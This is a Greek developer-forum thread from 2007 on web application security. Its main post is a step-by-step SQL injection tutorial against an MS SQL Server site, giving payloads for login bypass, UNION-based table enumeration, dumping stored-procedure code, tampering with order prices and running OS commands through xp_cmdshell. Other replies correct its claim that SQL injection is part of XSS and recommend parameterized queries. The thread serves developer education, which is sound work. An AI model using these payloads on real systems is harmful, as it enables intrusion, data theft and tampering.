Code Security

Απ: Επίθεση & Άμυνα

KelMan — Fri, 01 Jun 2007 07:17:46 GMT

Τα περιεχόμενα των παραπάνω μηνυμάτων έχουν διαγραφεί από το μέλος Thiseas, υποθέτω εις ένδειξη διαμαρτυρίας για την διαγραφή των μηνυμάτων του που σχετίζονταν με τη διακίνηση e-book.

Λυπούμαστε πολύ που έπρεπε να καταφύγουμε σε αυτήν την ενέργεια, όσοι είστε καιρό στο site θα έχετε διαπιστώσει ότι σπάνια επεμβαίνουμε κατά τέτοιο τρόπο. Ωστόσο το θέμα είναι πολύ ευαίσθητο. Είμαστε τελείως αντίθετοι στη δημοσίευση μηνυμάτων που σχετίζονται με έμμεσο ή άμεσο τρόπο με τη διακίνηση υλικού με πνευματικά δικαιώματα.

Σίγουρα δεν ευθυνόμαστε για το περιεχόμενο των δημοσιεύσεων που κάνει ο καθένας, εντούτοις στα θολά νερά του νομικού πλαισίου που διέπει το διαδίκτυο, μπορεί να βρεθούμε υπόλογοι στα καλά καθούμενα (βλ. περίπτωση blogme.gr). Θα ήταν κρίμα για όλους, να τελειώσει έτσι άδοξα η προσπάθεια που γίνεται όλα αυτά τα χρόνια αλλά και για εμάς, να μπλεχτούμε σε δικαστικές περιπέτειες.

Κλείνοντας, πιστεύουμε ότι αφενός τα threads με κενά μηνύματα είναι κάπως ακαταλαβίστικα αλλά αφετέρου δεν θα μπορούσαμε να σβήσουμε τα μηνύματα των υπολοίπων που αφιέρωσαν τον χρόνο τους για να συμμετάσχουν στις συζητήσεις μας. Ως εκ τούτου έχουμε βάλει μια σημείωση που οδηγεί εδώ, ώστε να αντιληφθούν οι ενδιαφερόμενοι το τι συνέβη.

Απ: Επίθεση & Άμυνα

Παναγιώτης Καναβός — Fri, 01 Jun 2007 01:08:06 GMT

Το Writing Secure Code είναι πολύ καλό, κυρίως γιατί δεν περιλαμβάνει απλά τεχνικές, αλλά σου παρουσιάζει τη νοοτροπία που χρειάζεται αν θέλεις να έχεις ασφάλεια. Όπως είπε και ο Kelman σε άλλο thread, δεν λέει να περνάει κανείς στην υλοποίηση πρωτού κάνει το σχεδιασμό. Το Threat Model που προτείνει είναι πολύ χρήσιμο για να καταλάβεις τί μπορεί να συμβεί και πως να το αντιμετωπίσεις. Είναι επίσης πολύ καλή η ανάλυση της διαδικασίας ανάπτυξης μίας ασφαλούς εφαρμογής. Σίγουρα, δεν αρκεί να χρησιμοποιήσεις 1-2 τεχνικές για να πεις ότι η εφαρμογή σου είναι ασφαλής. Επίσης καλύπτει πάρα πολλές πιθανές απειλές, όπως XSS, κακή χρήση της κρυπτογράφησης, φυσικά το Dynamic SQL αλλά και πιο προχωρημένα θέματα όπως Sockets και .NET Security.

Ακόμα καλύτερα, η Microsoft έχει βγάλει εδώ και καιρό ένα εργαλείο για Threat Analysis & Modelling το οποίο διευκολύνει την δημιουργεία των threat models που περιγράφει το βιβλίο. Ένα από τα ωραία χαρακτηριστικά του (πέρα από το ότι κάνει τη δημιουργία του μοντέλου πολύ εύκολη) είναι ότι μπορεί να χρησιμοποιήσει attack libraries και threat templates, επιτρέποντας έτσι σε μία εταιρεία να χρησιμοποιήσει έτοιμα libraries για κάθε νέο project. Στο αντίστοιχο blog μάλιστα είδα ότι ετοιμάζεται και Enterprise έκδοση του εργαλείου.

Απ: Επίθεση & Άμυνα

NullOK — Thu, 31 May 2007 23:57:02 GMT

Ο λόγος που δεν έβαλα περισσότερα bullets δεν είναι φυσικά γιατι δεν ήθελα να πώ, αλλα γιατί το θέμα της ασφάλειας είναι τόσο μεγάλο που θα έπρεπε να γράφω για ώρες!

Γενικά το θέμα της ανάπτυξης ασφαλών εφαρμογών, web η μή, είναι τεράστιο. Όσα bullets και να βάλουμε στη λίστα δεν είναι αρκετά, και το "ωραίο" με την ασφάλεια είναι ότι για κάθε bullet που θα έπρεπε να προσθέσει κανείς στη λίστα, μετα απο λίγο θα έβγαινε και κάποιο άλλη μορφή επίθεσης που θα χρειαζότανε καινούρια bullets.

Πάντως για όποιον ενδιαφέρεται να ασχοληθεί με την ασφάλεια στo development must βιβλίο είναι το Writing Secure Code των Howard, LeBlanc και φυσικά, συνεχής ενημέρωση απο sites, βιβλία, forum κτλ.

Απ: Επίθεση & Άμυνα

Thiseas — Thu, 31 May 2007 19:56:17 GMT

Yes, NullOK, κάπως έτσι έχουνε τα πράγματα...

Ωφείλω όμως τα σημειώσω οτι μας έκοψες στο καλύτερο με τις τρεις τελείες που έβαλες στην λίστα ....

Εκεί πιστεύω είναι το ενδιαφέρον θέμα. Μια τέτοια λίστα θα βοηθούσε όλους μας.
Να κατέθετε ο καθένας μας την άποψη του από την πραγματική του εμπειρία.

Βέβαια τώρα θα μου πείς.... RTFM ή κάποιο Book....

Yes,.. ok, άλλα αν τα βρίσκαμε όλα στα Books δεν θα υπήρχε λόγος να γράφουμε τώρα αυτές τις γραμμές. Δεν συμφωνείς?
Άλλοστε οι ανταλλαγή των εμπειριών και των έντονων συζητήσεων είναι που κάνει τέτοια όμορφα forums, σαν κι αυτό, ζωντανά!

Απ: Επίθεση & Άμυνα

NullOK — Thu, 31 May 2007 17:29:46 GMT

Το Cross Site Scripting (XSS) είναι μια μορφή επίθεσης σε web εφαρμογές που βασίζεται στην προυπόθεση ότι input του χρήστη, βγαίνει κάπου αλλού στην εφαρμογή σαν output χωρίς να έχει φιλτραριστεί η πειραχτεί καθόλου.

Το SQL Injection είναι μορφή επίθεσης (κυρίως σε Web εφαρμογές) που έχει στόχο το backend database server, είτε αυτός λέγεται SQL Server, είτε Oracle, είτε DB2 είτε οτιδήποτε. Απλώς ανάλογα τη DB ορισμένες τεχνικες SQL Injection είτε δεν δουλεύουν είτε πρέπει να τροποποιηθούν.

Οταν κάποιος επιτίθεται σε μια web εφαρμογή, προφανως θα χρησιμοποιήσει κάθε είδους τεχνική που ξέρει και μπορεί προκειμένου να πετύχει το στόχο του. Οπότε για να θεωρηθεί ασφαλής μια εφαρμογή πρέπει οπωσδήποτε σαν βασική αρχή να:

Κάνει Input Validation σε κάθε μορφή input του χρήστη και μή
Να αποφεύγει το string concatenation για δημιουργία sql statements και να χρησιμοποιεί (όπως είπε και ο Παναγιώτης) stored procedures και Paremeterized statements.
Να έχει προδιαγράψει την "διαδρομή" που κάνει κάθε μορφή input και φυσικά να ελέγξει αν αυτό το input βγαίνει σαν output.
...

Έβαλα τελείτσες στο τελευταίο bullet για να δείξω ότι είναι πάρα πολλά πράγματα που πρέπει να κάνεις για να διασφαλίσεις την ακεραιότητα της εφαρμογής σου. Αυτές είναι τρείς βασικές αρχές που έχουνε να κανούνε κυρίως με XSS και SQL Injection attacks, επειδή αυτές ανέφερες.

Απ: Επίθεση & Άμυνα

Thiseas — Thu, 31 May 2007 08:06:58 GMT

Παναγιώτης Καναβός:

Άλλο πράγμα το cross-site scripting (XSS) και άλλο το SQL Injection. To wikipedia περιέχει μία καλή περιγραφή του XSS, ....

Όχι, δεν είναι άλλο πράγμα... όπως αναφέρει και η Wikipedia το SQL injection περιγράφεται μέσα στο XSS αλλά φυσικά και το όμοφο άρθρο http://www.securityfocus.com/infocus/1768 των K. K. Mookhey, Nilesh Burghate 2004-03-17.

XSS & SQL Injection, DLL injection κλπ κλπ... αναφέρεται σε εισαγωγή κώδικα σε.... "ενέσιμη μορφή" μέσα σε άλλον!!

Απ: Επίθεση & Άμυνα

Παναγιώτης Καναβός — Thu, 31 May 2007 07:49:08 GMT

Άλλο πράγμα το cross-site scripting (XSS) και άλλο το SQL Injection. To wikipedia περιέχει μία καλή περιγραφή του XSS, το οποίο χονδρικά αφορά την εισαγωγή και εκτέλεση κώδικα στις σελίδες ενός site. Το SQL Injection αφορά οποιαδήποτε εφαρμογή και οποιαδήποτε βάση, όχι μόνο web sites αλλά και desktop εφαρμογές, είτε είναι γραμμένες σε C++, Java ή Perl.

Ο ευκολότερος τρόπος να απαλλαγεί κανείς από τον κίνδυνο του SQL Injection είναι να πάψει να δημιουργεί SQL statements με string concatenation και να χρησιμοποιήσει stored procedures ή parameterized queries.

Επίθεση & Άμυνα

Thiseas — Thu, 31 May 2007 07:36:37 GMT

Ενα βασικό κομμάτι των XXS επιθέσεων είναι το SQL injection.

Το net είναι γεμάτο με κλασικά παραδείγματα τα οποία θα αναλύσουμε πολύ λίγο.

Περισσότερο θα επικεντρωθούμε σε συγκεκριμένους στόχους.

Tώρα τελευταία (ας πούμε) βλέπω όλο και πιο συχνά web programs με extention .asp ή .aspx

Όταν βλέπουμε ένα τέτοιο Xtention.... καταλαβαίνουμε οτι μιλάμε για Micro$oft Και πιο συγκεκριμένα:
.asp = Active Server Pages
.aspx = Active Server Pages with Web forms .net (που υποστηρίζει (JITC) Just In Time Compilation).

Πολλές φορές πισω από τέτοια αρχεία βρίσκεται ένας SQL server, μιας και είναι προιόντα της ίδιας εταιρία και πουλιούνται σαν πακέτο... (όχι πάντα όμως - τεσπα).

Έστω οτι το site μας είναι τέτοιο και έχει μια αδυναμία σε SQL-injection:

Έστω οτι έχουμε την εξής εντολή (σε ψευδοκώδικα) να εκελέσουμε:

'Select order_id, name, qty, price from orders where customer_id = '+ Parameter_1 + ' and password= MD5(MD5('+Cookie_Χ+')+userSalt)

H parameter_1 έρχεται σαν εξωτερική παράμετρος από το περιβάλλον (url ή session).

Έτσι, άν Parameter_1=12 τότε θα εκτελεστεί η εντολή SQL:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 and password= 'trelaras~1#%'
θα φέρει όλες τις παραγγείες του πελάτη 12 .

Αν εμείς, αλλάξουμε την Parameter_1 και τις δώσουμε την εξής τιμή:
Parameter_1 = 12 or 1=1 --
και ο κώδικας μας δεν προστατεύεται (όπως ο παραπάνω),... τότε θα εκτελεστεί:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 -- and password= 'trelaras~1#%'

Στην πραγματικότητα οι χαρακτήρες '--' ειναι σχόλια για τον SQL Server, οπότε οτιδήποτε μετά το -- θα αγνοηθεί, και θα εκτελεστεί το παρακάτω:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1

Αυτό τι θα επιστρέψει?
Μα φυσικά όλες τις παραγγελίες ανεξαρτήτος πελάτη.... μιας και το condition 'customer_id = 12 or 1=1' επιστρέφει πάντα TRUE!

Μέχρι εδώ,... δεν έχουμε ανακαλύψει κάτι τρομερά σημαντικό ή για να το πω πιο καλά δεν έχουμε κάνει κάτι σημαντικό.

Εμείς θέλουμε να δούμε κατ' αρχάς όλα τα tables τις βάσης...
Πως θα το κάνουμε αυτό με SQL-injection

Θα κάνουμε κάτι παρόμοιο με αυτό που κάναμε παραπάνω, μόνο που θα χρησιμοποιήσουμε την SQL εντολή UNION:

Δίνοντας λοιπόν
Parameter_1 = 12 or 1=1 UNION select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sysobjects --

Δηλαδή:
Select order_id, Cust_ID, Cust_name, Prd_ID, qty, price from orders where customer_id = 12 or 1=1 UNION select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sysobjects

Κατ' αρχάς ο πίνακας sysobjects υπάρχει πάντα στον SQL-Server όποτε δεν θα πάρουμε αντίστοιχο error.

Το error που θα πάρουμε θα οφείλετε στην λανθασμένη χρήση της εντολής union η οποία απαιτεί οι στήλες στο πρώτο select να είναι ίσες και του ίδιου τύπου με αυτές του 2ου select.

Πρέπει να αναφέρω εδώ, οτι ο επιτηθέμενος δεν ξέρει ποιές στήλες έχει το 1ο select, ούτε τους τύπους δεδομένων τους, αλλά ούτε και ποιον πίνακα χρησιμοποιεί το select αυτό.
Πώς θα βρεί το σωστό αριθμό στηλών και τους σωστούς τύπους δεδομένων?

Υπάρχει ένα κολπάκι:
Κατ' αρχάς θα βάλουμε στο select ένα πολύ μεγάλο αριθμό σταθερών ... πχ:
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Αυτό θα έχει σαν αποτέλεσμα να πάρουμε από τον sql server το error:
Server: Msg 205, Level 16, State 1, Line 1
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Ωραία!!
Θα μειωνουμε λοιπόν τον αριθμό των σταθερών και θα εκτελούμε το select Μέχρι να πάρουμε ένα διαφορρετικό error το οποίο πιθανόν θα οφείλετε στο διαφορετικό τύπο δεδομένων που υπάρχει στο 1ο select.
Τι θα έχουμε πετύχει? Να βρούμε το πλήθος των στηλών στο 1ο select!

Στην προκειμένη περίπτωση το error message θα αλλάξει όταν εκτελέσουμε την εντολή:
Parameter_1 = 12 or 1=1 UNION select 1,1,1,1,1,1 from sysobjects --

To error τώρα θα είναι κάτι τέτοιο:
Server: Msg 245, Level 16, State 1, Line 1
Syntax error converting the varchar value 'χχχχχ' to a column of data type int.

Τι σημαίνει αυτό.... οτι κάποιος τύπος δεδομένων στο 1ο select δεν συμφωνεί με κάποιο τύπο δεδομένων στο 2ο select. Ο επιτηθέμενος όμως μόνο το 2ο select μπορεί να αλλάζει....

Οπότε θα αλλάζει τον τύπο των παραμέτρων....
π.χ.
Parameter_1 = 12 or 1=1 UNION select 1,'1','1',1,1,1 from sysobjects --
μέχρι να μην δει πια λάθος.

Τελικά θα έχουμε καταλήξει στο εξής
Parameter_1 = 12 or 1=1 UNION select 1,1,'1',1,1,1 from sysobjects --

Αυτό σημαίνει οτι το 1ο SQL χρησιμοποιέι 6 στήλες με τύπο:
number, number,number, character, number,number

Ωραία!!!

Τώρα μπορούμε να δούμε το όνοματα όλων των πινάκων της βάσης εκτελώντας το εξής:
Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U' --

Προσέξτε το παραπάνω κόλπο!
Γνωρίζοντας οτι η τρίτη στήλη είναι χαρακτήρες κάναμε το union με τον πίνακα του συστήματος sysobjects για να εμφανίσουμε στην τρίτη θέση την στήλη name που είναι το όνομα των πινάκων.

Ψάχνοντας τους πίνακες μπορούμε να βρούμε διάφορες πληροφορίες...
Ο μόνος περιορισμός μας είναι ο αριθμός των στηλών και ο τύπος των δεδομένων που ορίζονται στο 1ο select και που στην ουσία είναι ο "οδηγός" που πρέπει να "σεβαστούμε" αν θέλουμε να δουλέψει σωστά το UNION μας.

Μπαίνοντας σε πιο βαθιά νερά....

Πιο advance παραλλαγές είναι να δούμε των κώδικα των stored procedures Μέσα στην βάση δεδομένων:
Για να το κάνω αυτό πρέπει να σας πω το εξής:
Για να δω τα ονόματα (σε normal καταστάσεις) tων stored procedures, functions που χρησιμοποιεί μια ΒΔ δίνω την εντολή:
[α]
SELECT distinct NAME AS [NAME],
CASE WHEN TYPE ='P' THEN 'PROCEDURE'
WHEN TYPE IN('FN', 'IF','TF') THEN 'FUNCTION'
END AS OBJECTTYPE
FROM SYSCOMMENTS comm
inner join sysobjects obj
on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF')

Επιλέγοντας λοιπόν μια από αυτές μπορώ να δω μέσα των κώδικα της:
[β]
SELECT [Text]
FROM SYSCOMMENTS comm
inner join sysobjects obj
on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF')
where [name] = 'MyProcedureName'

Αν αυτό το μεταφέρω στο... injection μου... θα πρέπει να έδινα αντίστοιχα για τα [α], [β]:
Parameter_1 = 12 or 1=1 UNION select 1,1,[name],1,1,1 FROM SYSCOMMENTS comm inner join sysobjects obj on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF') --
και
Parameter_1 = 12 or 1=1 UNION select 1,1,[Text],1,1,1 FROM SYSCOMMENTS comm inner join sysobjects obj on comm.id = obj.id and obj.type IN ('P','FN', 'IF', 'TF') --

Κάτι ακόμα ... χειρότερο.
Μπορούμε να εκτελέσουμε κώδικα updates, delete, insert κλπ, κλπ...
Πώς?
Μα με τον χαρακτήρα ';'.
Π.χ.
Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U'; Update Orders set price = 1 where cust_name='Thiseas' --
Φαντάζομαι καταλάβατε οτι πλέον .... έχουμε απεριόριστη πρόσβαση σε ολόκληρη την βάση να κάνουμε.... ΟΤΙΔΗΠΟΤΕ!

Ωραία μέχρι.... εδω....
Την βάση την έχουμε σκίσει!!
Μήπως μπορούμε να... πάρουμε και..... shell...??

Χμ..... ίσως...

Στον Sql server υπάρχει η function xp_cmdshell 'xxx' η οποία εκετελείτε πάντα στη master database που υπάρχει σε κάθε SQL Server.
όπου 'xxx' οποιαδήποτε εντολή command shell η οποία θα εκτελεστεί στον server!!

Σκεφτείτε λοιπόν να δώσω.....
Parameter_1 = 12 or 1=1 UNION select 1,1,sysobjects.name,1,1,1 from sysobjects where sysobjects.type = 'U'; Update Orders set price = 1 where cust_name='Thiseas'; exec master..xp_cmdshell "dir"--

Στην συγκεκριμένη περίπτωση, πέρα από τα "συμφέροντα" Updates"!! κάνω κι ένα.... "dir" στον δίσκο του server.... έτσι για να δω άν έχει τίποτα.... "καλό"!!!
Μετά ... βλέπουμε!!

Λοιπόν.... αν αντέξατε να φτάσατε μέχρι εδώ!! μπράβο σας!! χε χε σημαίνει οτι δεν είμουνα τόσο βαρετός όσο φοβόμουνα!

Οι παραλλαγές είναι ΑΠΕΙΡΕΣ!!!
Αυτή τη στιγμή μου έρχονται στον μυαλό άπειρα σενάρια!!
Ο περιορισμός?
Η φαντασία σας!!

Πρέπει όμως κάπου να σταματήσω....

Θέλω τελειώνοντας να τονίσω οτι ΟΛΑ τα παραπάνω είναι για γνώση και συμόρφωση όσων αναπτύσουν software για web!!
Προσοχή guys!!!
There are real bad persons out there!!

Όλα τα παραπάνω (μα ΟΛΑ)... θα είχανε αποφευχθεί αν ο προγραμματιστής είχε προστατέψει την παράμετρο Parameter_1 ελέγχοντας :
1. Τον τύπο της: π.χ. να είναι μόνο ακέραια.
2. Το μέγεθος της π.χ. να μην είναι πάνω από 10 χαρακτήρες,
3. Το να μην περιέχει περίεργους χαρακτήρες π.χ. 'updates', ';', κλπ κλπ.
Μια τόσο αθώα παράμετρος, μπορεί όσο κι αν φαίνεται περίεργο να προκαλέσει τόση μεγάλη ζημιά!!
Έπρεπε να προσέξει αυτός programmer!!

Αν δεν άφηνε ανοιχτή αυτήν την μικρή κεκρόπορτα.... η Πόλη ίσως να είχε σωθεί!!

Αναδημοσίευση από το www.Secfreaks.gr που το δημοσίευσα για πρώτη φορά.